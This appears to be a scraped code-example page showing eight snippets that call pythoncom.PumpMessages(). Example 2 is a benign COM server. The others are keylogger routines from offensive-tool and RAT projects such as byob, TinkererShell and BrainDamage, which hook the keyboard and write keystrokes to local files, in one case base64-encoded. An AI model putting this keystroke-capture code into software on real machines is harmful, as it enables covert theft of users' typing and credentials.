Python pythoncom.PumpMessages() Examples

The following are 8 code examples of pythoncom.PumpMessages(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module pythoncom , or try the search function .
Example #1
Source File: apt_simulator.py    From hack4career with Apache License 2.0 6 votes vote down vote up
def keylogger():
	if console:
		print "* Logging key events... (press enter to escape)"
		
	def OnKeyboardEvent (event):
		keys = ""
		full_path = os.path.realpath(__file__)
		path, file = os.path.split(full_path)
		path = path + "\keylogs.txt"
		keyfile = open(path, "a")
		key = chr(event.Ascii)
		if event.Ascii == 13:
			key = "\n"
			hook.UnhookKeyboard()
			if console:
				print "* done\n"
			main()

		keys = keys + key
		keyfile.write(keys)
		keyfile.close()
		 
	hook = pyHook.HookManager()
	hook.KeyDown = OnKeyboardEvent
	hook.HookKeyboard()
	pythoncom.PumpMessages() 
Example #2
Source File: localserver.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def serve(clsids):
	infos = factory.RegisterClassFactories(clsids)

	pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId())	
	pythoncom.CoResumeClassObjects()

	pythoncom.PumpMessages()
	
	factory.RevokeClassFactories( infos )
	
	pythoncom.CoUninitialize() 
Example #3
Source File: Lo0sR.py    From Lo0sR with MIT License 5 votes vote down vote up
def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages() 
Example #4
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example #5
Source File: keylogger.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
Example #6
Source File: server.py    From darkc0de-old-stuff with GNU General Public License v3.0 5 votes vote down vote up
def keyit(self):
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyBoardEvent
        self.hm.HookKeyboard()
        pythoncom.PumpMessages() 
Example #7
Source File: TinkererShell.py    From TinkererShell with GNU General Public License v3.0 5 votes vote down vote up
def keylogger(fd_temp_key: int):
    """Key logger thread.\n"""

    def OnKeyboardEvent(event):
        """"Define action triggered when a key is pressed.\n"""
        if not thr_block.isSet():
            if event.Ascii != 0 or 8:
                # Use base64 and not an encryption just for performance
                with open(keylogfile, 'r+b') as f_key:
                    data_decoded = b64decode(f_key.read()).decode('utf-8')
                    f_key.seek(0)
                    if event.Key == 'space':
                        data_decoded += ' '
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'BackSpace':
                        data_decoded += '[BackSpace]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Return':
                        data_decoded += '[Enter]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_L':
                        data_decoded += '[Shift_L]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_R':
                        data_decoded += '[Shift_R]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Tab':
                        data_decoded += '[Tab]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    else:
                        data_decoded += event.Key
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
        if thr_exit.isSet():
            os.close(fd_temp_key)
            hm.cancel()
        return True

    # create a hook manager
    if platform == 'windows':
        hm = pyHook.HookManager()
    else:
        hm = pyxhook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    if platform == 'windows':
        pythoncom.PumpMessages()
    else:
        hm.start()


# ================================================================================================= 
Example #8
Source File: RadiumKeylogger.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def hookslaunch():
    print '[*] Starting keylogger'
    a = Keylogger()
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = a.OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()